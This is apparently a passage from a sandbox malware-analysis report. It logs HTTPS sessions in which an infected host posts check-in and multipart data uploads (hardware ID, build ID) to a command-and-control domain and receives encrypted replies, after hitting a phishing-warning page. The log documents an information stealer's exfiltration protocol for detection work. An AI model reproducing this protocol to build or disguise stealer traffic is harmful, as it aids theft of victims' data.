2024-10-24 02:59:07 UTC	809	IN	Data Raw: 31 31 35 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1154<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2024-10-24 02:59:07 UTC	1369	IN	Data Raw: 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 29 20 7b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 63 6f 6f 6b 69 65 45 6c 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 Data Ascii: i/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElementB
2024-10-24 02:59:07 UTC	1369	IN	Data Raw: 73 2d 6d 61 6e 61 67 65 6d 65 6e 74 2f 70 68 69 73 68 69 6e 67 2d 61 74 74 61 63 6b 2f 22 20 63 6c 61 73 73 3d 22 63 66 2d 62 74 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 34 30 34 30 34 30 3b 20 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 62 6f 72 64 65 72 3a 20 30 3b 22 3e 4c 65 61 72 6e 20 4d 6f 72 65 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 66 6f 72 6d 20 61 63 74 69 6f 6e 3d 22 2f 63 64 6e 2d 63 67 69 2f 70 68 69 73 68 2d 62 79 70 61 73 73 22 20 6d 65 74 68 6f 64 3d 22 47 45 54 22 20 65 6e 63 74 79 70 65 3d 22 74 65 78 74 2f 70 6c 61 69 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: s-management/phishing-attack/" class="cf-btn" style="background-color: #404040; color: #fff; border: 0;">Learn More</a> <form action="/cdn-cgi/phish-bypass" method="GET" enctype="text/plain">
2024-10-24 02:59:07 UTC	897	IN	Data Raw: 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 3c 73 70 61 6e 3e 50 65 72 66 6f 72 6d 61 6e 63 65 20 26 61 6d 70 3b 20 73 65 63 75 72 69 74 79 20 62 79 3c 2f 73 70 61 6e 3e 20 3c 61 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 35 78 78 2d 65 72 72 6f 72 2d 6c 61 6e 64 69 6e Data Ascii: </span> <span class="cf-footer-separator sm:hidden">•</span> </span> <span class="cf-footer-item sm:block sm:mb-1"><span>Performance & security by</span> <a rel="noopener noreferrer" href="https://www.cloudflare.com/5xx-error-landin
2024-10-24 02:59:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.6	59429	104.21.53.8	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 02:59:09 UTC	354	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=liUt9oxqWf1ev7AlDktHLLlzDO_jA0SknoKqHxAhpdQ-1729738747-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: sergei-esenin.com
2024-10-24 02:59:09 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-24 02:59:09 UTC	1018	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:59:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=m0og8hm0rm2915ec7ki9kiismo; expires=Sun, 16 Feb 2025 20:45:48 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=a%2BnOZxXHK4GKIThfSIuFinqCYJGtDFE1VTUp9orKIuE4DG9j%2BFJGcsdh0u83yxH3VBr6bPK5nDfV%2BNH4VeVf0J1Z5d5gjyxUqBJKsx097ecdDASV%2BTsatgVHK7rBzeUESAIeeg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d76b58e99a03464-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1012&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=1042&delivery_rate=2632727&cwnd=251&unsent_bytes=0&cid=77ea8d85388c4bb4&ts=361&x=0"
2024-10-24 02:59:09 UTC	351	IN	Data Raw: 34 65 35 0d 0a 45 4d 74 5a 64 47 42 7a 53 32 47 48 4c 72 4b 6b 4c 71 31 33 4a 53 32 54 47 6e 74 2f 70 44 63 72 38 45 49 2b 49 55 74 45 55 36 4e 72 36 53 39 57 57 6b 64 6e 51 2f 52 4c 6b 4a 35 61 33 77 4a 41 41 62 46 37 48 31 32 65 55 55 71 63 4d 56 73 4e 61 54 49 2b 67 53 71 74 4f 42 67 54 46 6d 64 44 34 6c 61 51 6e 6e 58 57 56 55 42 44 73 53 42 5a 47 73 35 56 53 70 77 67 58 30 6f 6b 4e 44 2f 41 65 4b 63 2b 48 41 55 51 4c 77 44 72 51 39 66 42 53 38 77 64 53 30 54 2b 63 68 5a 64 69 42 56 4f 69 6d 41 45 41 77 59 68 4a 38 4a 64 71 69 6f 66 51 67 35 6e 47 71 56 4c 33 49 59 55 6a 78 5a 41 54 2f 39 38 48 78 54 4d 58 30 4f 55 49 56 70 4c 4f 79 30 31 79 33 69 70 50 52 30 50 47 54 73 4e 34 55 54 63 78 30 48 4d 56 51 6b 50 39 6d 42 5a 52 59 59 47 65 35 45 78 54 56 Data Ascii: 4e5EMtZdGBzS2GHLrKkLq13JS2TGnt/pDcr8EI+IUtEU6Nr6S9WWkdnQ/RLkJ5a3wJAAbF7H12eUUqcMVsNaTI+gSqtOBgTFmdD4laQnnXWVUBDsSBZGs5VSpwgX0okND/AeKc+HAUQLwDrQ9fBS8wdS0T+chZdiBVOimAEAwYhJ8JdqiofQg5nGqVL3IYUjxZAT/98HxTMX0OUIVpLOy01y3ipPR0PGTsN4UTcx0HMVQkP9mBZRYYGe5ExTV
2024-10-24 02:59:09 UTC	909	IN	Data Raw: 67 44 48 43 6b 52 37 55 66 62 77 31 37 45 48 45 70 43 38 58 55 54 45 73 56 56 54 70 67 71 55 30 6b 74 4b 7a 7a 48 63 71 6c 37 57 45 49 57 4d 55 4f 39 44 50 50 44 58 4d 67 5a 55 51 33 4c 4f 41 5a 54 33 78 56 4f 6e 6d 41 45 41 79 45 6a 4d 73 4a 35 70 6a 67 65 43 51 4d 70 45 65 4e 42 31 64 52 4b 79 68 74 4e 54 4f 4e 79 46 78 76 46 58 45 4b 62 4a 56 74 48 61 57 68 78 78 6d 72 70 59 31 59 6a 48 43 49 50 37 31 76 51 68 6c 4f 42 44 41 64 49 2f 54 68 42 58 63 4a 55 54 5a 4d 6b 55 6b 30 74 4b 6a 66 50 66 36 59 39 48 41 49 57 49 77 76 74 54 64 33 4e 51 38 38 51 53 6b 76 33 64 42 67 59 68 68 73 4a 6c 54 67 63 47 32 6b 49 4e 73 4a 67 36 77 34 56 44 42 38 75 46 61 56 54 6e 74 38 4d 79 42 6b 48 46 37 46 32 48 42 4c 55 56 46 75 58 4c 6b 35 50 4c 43 41 38 77 6e 79 70 50 Data Ascii: gDHCkR7Ufbw17EHEpC8XUTEsVVTpgqU0ktKzzHcql7WEIWMUO9DPPDXMgZUQ3LOAZT3xVOnmAEAyEjMsJ5pjgeCQMpEeNB1dRKyhtNTONyFxvFXEKbJVtHaWhxxmrpY1YjHCIP71vQhlOBDAdI/ThBXcJUTZMkUk0tKjfPf6Y9HAIWIwvtTd3NQ88QSkv3dBgYhhsJlTgcG2kINsJg6w4VDB8uFaVTnt8MyBkHF7F2HBLUVFuXLk5PLCA8wnypP
2024-10-24 02:59:09 UTC	1369	IN	Data Raw: 33 66 38 37 0d 0a 45 44 42 42 30 70 46 39 48 59 56 47 4d 6c 56 53 4a 4d 75 56 6b 68 70 61 48 48 47 61 75 6c 6a 56 69 30 63 4f 52 48 76 52 38 47 45 65 63 77 62 53 55 6a 6e 4f 41 5a 54 33 78 56 4f 6e 6d 41 45 41 79 49 67 50 63 31 79 72 79 6b 59 44 51 4d 6a 45 65 46 43 31 4d 70 43 78 68 68 49 53 75 4e 38 47 51 2f 48 55 45 36 63 4c 55 35 47 61 57 68 78 78 6d 72 70 59 31 59 34 4a 53 34 54 39 45 75 53 38 30 2f 42 47 30 42 5a 73 57 64 58 42 49 5a 53 52 64 4a 34 48 45 41 6c 4b 7a 6a 45 66 62 73 78 47 67 4d 44 4c 67 72 73 52 74 48 49 51 38 51 5a 51 6c 33 36 64 78 45 53 78 31 68 45 6d 53 52 63 41 32 64 6d 4e 74 6b 79 38 58 73 33 44 78 34 37 41 50 51 4f 35 63 56 43 77 52 4a 52 44 2b 34 32 41 46 33 42 57 51 6e 4b 59 46 31 50 4a 53 63 2b 78 33 69 68 4f 42 63 51 47 43 Data Ascii: 3f87EDBB0pF9HYVGMlVSJMuVkhpaHHGauljVi0cORHvR8GEecwbSUjnOAZT3xVOnmAEAyIgPc1yrykYDQMjEeFC1MpCxhhISuN8GQ/HUE6cLU5GaWhxxmrpY1Y4JS4T9EuS80/BG0BZsWdXBIZSRdJ4HEAlKzjEfbsxGgMDLgrsRtHIQ8QZQl36dxESx1hEmSRcA2dmNtky8Xs3Dx47APQO5cVCwRJRD+42AF3BWQnKYF1PJSc+x3ihOBcQGC
2024-10-24 02:59:09 UTC	1369	IN	Data Raw: 33 73 68 46 77 78 31 4c 53 4f 4e 31 48 42 58 4d 58 45 79 65 4c 56 39 52 4b 69 64 78 6a 7a 4b 75 49 31 5a 61 55 51 34 77 30 6d 2b 51 32 51 4c 57 56 55 42 44 73 53 42 5a 48 4d 35 53 52 35 59 79 55 6c 45 6e 49 54 48 48 65 71 45 38 47 67 77 66 4f 77 76 6b 54 4e 37 4a 52 4d 59 52 52 6b 76 31 64 42 35 64 69 42 56 4f 69 6d 41 45 41 77 45 6c 4b 39 73 77 68 7a 41 57 42 51 45 2f 47 4b 56 54 6e 74 38 4d 79 42 6b 48 46 37 46 38 45 68 66 50 56 6b 43 57 4c 56 78 4b 4a 69 38 35 7a 48 71 37 4f 68 77 51 46 53 77 43 36 6b 62 55 7a 6b 44 41 47 55 4e 64 2b 6a 68 58 58 63 46 4e 43 63 70 67 66 45 67 2f 42 53 50 54 4d 72 5a 31 44 30 49 57 4a 55 4f 39 44 4e 6e 4b 54 63 34 66 51 55 54 30 64 52 6b 59 7a 46 4a 46 6b 69 42 66 52 53 38 72 4f 63 6c 2b 70 54 67 62 42 78 55 37 45 65 46 Data Ascii: 3shFwx1LSON1HBXMXEyeLV9RKidxjzKuI1ZaUQ4w0m+Q2QLWVUBDsSBZHM5SR5YyUlEnITHHeqE8GgwfOwvkTN7JRMYRRkv1dB5diBVOimAEAwElK9swhzAWBQE/GKVTnt8MyBkHF7F8EhfPVkCWLVxKJi85zHq7OhwQFSwC6kbUzkDAGUNd+jhXXcFNCcpgfEg/BSPTMrZ1D0IWJUO9DNnKTc4fQUT0dRkYzFJFkiBfRS8rOcl+pTgbBxU7EeF
2024-10-24 02:59:09 UTC	1369	IN	Data Raw: 4d 4a 56 43 51 2f 32 59 46 6c 46 68 6e 4a 54 6e 79 5a 4c 55 68 77 68 4d 5a 41 79 74 6e 55 50 51 68 59 6c 51 37 30 4d 33 63 70 47 77 68 42 44 52 2f 5a 37 47 42 48 43 57 45 53 57 4b 56 68 47 4f 7a 51 33 7a 33 4b 6d 4e 52 6b 4f 41 79 63 47 35 55 43 51 69 41 7a 49 44 51 63 58 73 55 6b 4f 48 59 5a 4b 42 34 74 67 57 30 39 70 66 6e 48 4f 66 37 73 33 47 51 49 51 4b 67 66 75 53 39 62 41 54 63 77 51 52 45 72 33 65 52 6b 52 7a 46 4a 42 6d 43 35 52 52 53 30 67 4e 34 45 38 36 54 77 4f 51 6b 6c 70 4d 65 68 43 32 63 56 4b 77 67 4e 76 66 72 46 6e 56 77 53 47 55 6b 58 53 65 42 78 48 49 69 34 39 78 48 71 73 4f 68 34 49 47 53 59 4d 39 30 33 66 7a 30 76 45 47 45 68 42 39 48 59 4c 47 73 31 65 51 5a 73 75 57 67 4e 6e 5a 6a 62 5a 4d 76 46 37 49 41 45 66 49 68 4c 71 54 39 79 47 Data Ascii: MJVCQ/2YFlFhnJTnyZLUhwhMZAytnUPQhYlQ70M3cpGwhBDR/Z7GBHCWESWKVhGOzQ3z3KmNRkOAycG5UCQiAzIDQcXsUkOHYZKB4tgW09pfnHOf7s3GQIQKgfuS9bATcwQREr3eRkRzFJBmC5RRS0gN4E86TwOQklpMehC2cVKwgNvfrFnVwSGUkXSeBxHIi49xHqsOh4IGSYM903fz0vEGEhB9HYLGs1eQZsuWgNnZjbZMvF7IAEfIhLqT9yG
2024-10-24 02:59:09 UTC	1369	IN	Data Raw: 6b 50 39 6d 42 5a 52 59 5a 6b 58 35 55 6e 55 77 45 41 49 53 72 41 65 4b 6f 77 47 6b 49 4f 5a 78 71 6c 53 39 79 47 46 49 38 59 53 30 4c 31 61 68 55 64 78 6c 78 4f 6d 44 4a 54 54 43 51 6c 4d 63 52 67 71 43 6b 5a 43 52 51 71 42 2b 70 44 33 4d 35 47 6a 31 73 48 53 4f 6b 34 51 56 33 71 56 6c 69 59 59 6e 74 5a 50 79 45 39 30 48 6d 6b 4e 31 59 64 58 7a 42 44 34 6b 43 51 6e 67 7a 50 46 45 70 64 39 48 6b 54 46 38 74 64 52 70 63 6c 55 30 63 74 4c 54 2f 54 66 4b 59 37 45 41 6b 51 4c 41 44 75 52 74 37 50 58 6f 39 62 42 30 6a 70 4f 45 46 64 37 45 35 49 6e 79 77 65 62 53 49 77 4e 6f 4e 54 70 7a 41 52 44 67 64 70 48 4b 74 56 6b 4d 46 41 6a 30 30 48 52 76 39 30 47 68 72 4f 58 55 79 53 4b 31 78 4d 49 79 67 32 30 33 69 6c 4d 51 51 4e 45 69 51 48 36 45 62 56 7a 31 37 4b 48 Data Ascii: kP9mBZRYZkX5UnUwEAISrAeKowGkIOZxqlS9yGFI8YS0L1ahUdxlxOmDJTTCQlMcRgqCkZCRQqB+pD3M5Gj1sHSOk4QV3qVliYYntZPyE90HmkN1YdXzBD4kCQngzPFEpd9HkTF8tdRpclU0ctLT/TfKY7EAkQLADuRt7PXo9bB0jpOEFd7E5InywebSIwNoNTpzARDgdpHKtVkMFAj00HRv90GhrOXUySK1xMIyg203ilMQQNEiQH6EbVz17KH
2024-10-24 02:59:09 UTC	1369	IN	Data Raw: 34 48 52 48 46 55 6b 65 64 4c 56 4e 45 49 69 6b 37 7a 32 43 6d 50 68 34 4f 47 53 51 52 37 30 62 43 7a 30 58 43 47 30 39 64 38 6a 68 58 58 63 46 4e 43 63 70 67 62 6b 6b 71 4b 69 66 4d 66 65 6b 6b 57 42 74 52 4c 67 2b 6c 46 4a 44 55 58 73 38 65 52 30 6a 2f 61 68 67 56 79 56 39 4a 6c 43 74 57 51 43 41 69 50 38 68 30 71 44 59 58 41 78 45 73 41 2b 78 65 33 59 59 43 6a 78 4a 66 44 36 6b 34 4c 68 48 4e 5a 45 71 45 59 45 4d 4e 4d 47 59 32 7a 54 4c 78 65 78 63 51 48 43 45 48 35 55 48 57 7a 55 33 4f 46 6b 64 50 38 6e 67 63 46 73 6c 54 54 70 38 71 56 55 6f 37 4c 6a 58 54 63 71 55 2f 56 6b 78 52 4c 68 75 6c 46 4a 44 32 54 38 51 5a 52 30 4c 6b 4f 41 5a 54 33 78 56 4f 6e 6d 41 45 41 79 45 74 4f 73 64 35 71 6a 67 59 43 52 73 6d 44 4f 39 4b 31 73 35 4a 7a 78 6c 48 53 76 Data Ascii: 4HRHFUkedLVNEIik7z2CmPh4OGSQR70bCz0XCG09d8jhXXcFNCcpgbkkqKifMfekkWBtRLg+lFJDUXs8eR0j/ahgVyV9JlCtWQCAiP8h0qDYXAxEsA+xe3YYCjxJfD6k4LhHNZEqEYEMNMGY2zTLxexcQHCEH5UHWzU3OFkdP8ngcFslTTp8qVUo7LjXTcqU/VkxRLhulFJD2T8QZR0LkOAZT3xVOnmAEAyEtOsd5qjgYCRsmDO9K1s5JzxlHSv
2024-10-24 02:59:09 UTC	1369	IN	Data Raw: 77 52 55 48 30 69 59 63 47 33 6c 6f 63 63 56 6a 36 57 4e 47 55 45 70 38 55 4c 49 63 67 74 6b 43 31 6c 56 52 44 36 6b 71 56 31 33 55 46 52 48 53 5a 31 39 52 4f 79 41 79 31 33 48 75 42 53 67 69 47 69 55 41 36 55 33 58 68 67 4b 50 47 67 63 58 79 44 67 61 44 39 51 61 57 49 51 74 54 45 52 6c 4c 69 44 4d 66 75 6c 31 56 6b 34 56 49 67 2f 67 53 38 43 4a 58 74 38 65 53 31 6d 39 66 41 74 64 69 42 56 59 6d 53 39 4f 54 53 35 70 49 4e 64 2f 75 54 67 54 42 56 30 68 45 75 68 41 6b 49 67 4d 32 68 35 4c 53 66 78 74 56 67 7a 51 56 6c 2b 56 62 46 52 53 4a 43 70 78 2f 6a 7a 70 49 31 5a 61 55 52 77 41 36 30 4c 58 30 46 32 43 4e 55 78 44 38 6e 51 59 47 6f 59 62 43 5a 52 67 42 42 42 6e 5a 6a 58 51 4d 76 46 72 52 46 6c 45 65 6c 53 31 48 73 2b 49 56 59 38 44 42 78 65 6a 4e 6c 6b Data Ascii: wRUH0iYcG3loccVj6WNGUEp8ULIcgtkC1lVRD6kqV13UFRHSZ19ROyAy13HuBSgiGiUA6U3XhgKPGgcXyDgaD9QaWIQtTERlLiDMful1Vk4VIg/gS8CJXt8eS1m9fAtdiBVYmS9OTS5pINd/uTgTBV0hEuhAkIgM2h5LSfxtVgzQVl+VbFRSJCpx/jzpI1ZaURwA60LX0F2CNUxD8nQYGoYbCZRgBBBnZjXQMvFrRFlEelS1Hs+IVY8DBxejNlk
2024-10-24 02:59:09 UTC	1369	IN	Data Raw: 64 4a 6e 55 6b 34 6f 4a 54 2f 43 59 4c 73 39 46 52 51 53 62 6a 33 62 61 64 33 4c 53 63 45 53 65 58 48 51 63 67 6b 51 79 56 4a 33 72 42 64 4e 52 44 6c 6b 46 38 4a 6b 71 6e 74 59 51 67 6c 70 57 36 56 74 32 74 5a 42 77 42 49 48 41 62 46 38 57 55 57 47 63 45 53 66 4a 56 4a 45 61 77 63 37 30 58 2b 6d 50 46 5a 4d 55 53 56 44 76 51 7a 52 7a 46 7a 43 47 6b 41 44 39 6d 49 65 58 59 67 56 52 39 4a 34 48 45 49 6a 4e 6a 7a 4f 64 65 55 39 47 41 78 52 4e 6b 33 38 44 4d 61 47 46 4a 78 62 42 31 32 78 49 46 6c 61 79 46 68 49 6b 53 35 66 55 54 73 67 4d 74 64 78 37 67 55 6f 4a 78 77 6b 42 75 74 4c 37 76 68 74 78 51 56 4b 51 50 59 36 4f 52 72 51 56 6e 65 73 46 30 31 45 4f 57 51 58 77 6d 53 71 65 31 68 43 43 57 6c 62 70 57 33 61 31 6b 48 41 45 67 56 76 39 6d 34 61 58 59 67 56 Data Ascii: dJnUk4oJT/CYLs9FRQSbj3bad3LScESeXHQcgkQyVJ3rBdNRDlkF8JkqntYQglpW6Vt2tZBwBIHAbF8WUWGcESfJVJEawc70X+mPFZMUSVDvQzRzFzCGkAD9mIeXYgVR9J4HEIjNjzOdeU9GAxRNk38DMaGFJxbB12xIFlayFhIkS5fUTsgMtdx7gUoJxwkButL7vhtxQVKQPY6ORrQVnesF01EOWQXwmSqe1hCCWlbpW3a1kHAEgVv9m4aXYgV

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.6	59432	104.21.53.8	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 02:59:10 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=liUt9oxqWf1ev7AlDktHLLlzDO_jA0SknoKqHxAhpdQ-1729738747-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12864 Host: sergei-esenin.com
2024-10-24 02:59:10 UTC	12864	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 32 31 31 33 43 37 30 35 44 39 42 35 41 37 42 42 45 35 36 33 35 33 41 34 33 34 41 44 32 42 35 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"02113C705D9B5A7BBE56353A434AD2B5--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-24 02:59:10 UTC	1016	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:59:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7osk2rermh4atjmdnb9d93peft; expires=Sun, 16 Feb 2025 20:45:49 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cza41FNSJ%2Ba0nD0zDUzjACrVDE4mdMg1XQOYWk5%2FaFWMXsZjmrlcwJthKzdzI9a1katISBua0QJUZh1SnK88cTtMAmEZnFMtcuNcHMpne3rsjxn8viyQVVkedSqOMpcccxBfcw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d76b595a8b82cc4-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2041&sent=8&recv=17&lost=0&retrans=0&sent_bytes=2845&recv_bytes=13894&delivery_rate=1410618&cwnd=241&unsent_bytes=0&cid=e7ab166da41d3aa4&ts=416&x=0"
2024-10-24 02:59:10 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 31 0d 0a Data Ascii: 11ok 173.254.250.71
2024-10-24 02:59:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.6	59433	104.21.53.8	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 02:59:11 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=liUt9oxqWf1ev7AlDktHLLlzDO_jA0SknoKqHxAhpdQ-1729738747-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15110 Host: sergei-esenin.com
2024-10-24 02:59:11 UTC	15110	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 32 31 31 33 43 37 30 35 44 39 42 35 41 37 42 42 45 35 36 33 35 33 41 34 33 34 41 44 32 42 35 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"02113C705D9B5A7BBE56353A434AD2B5--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
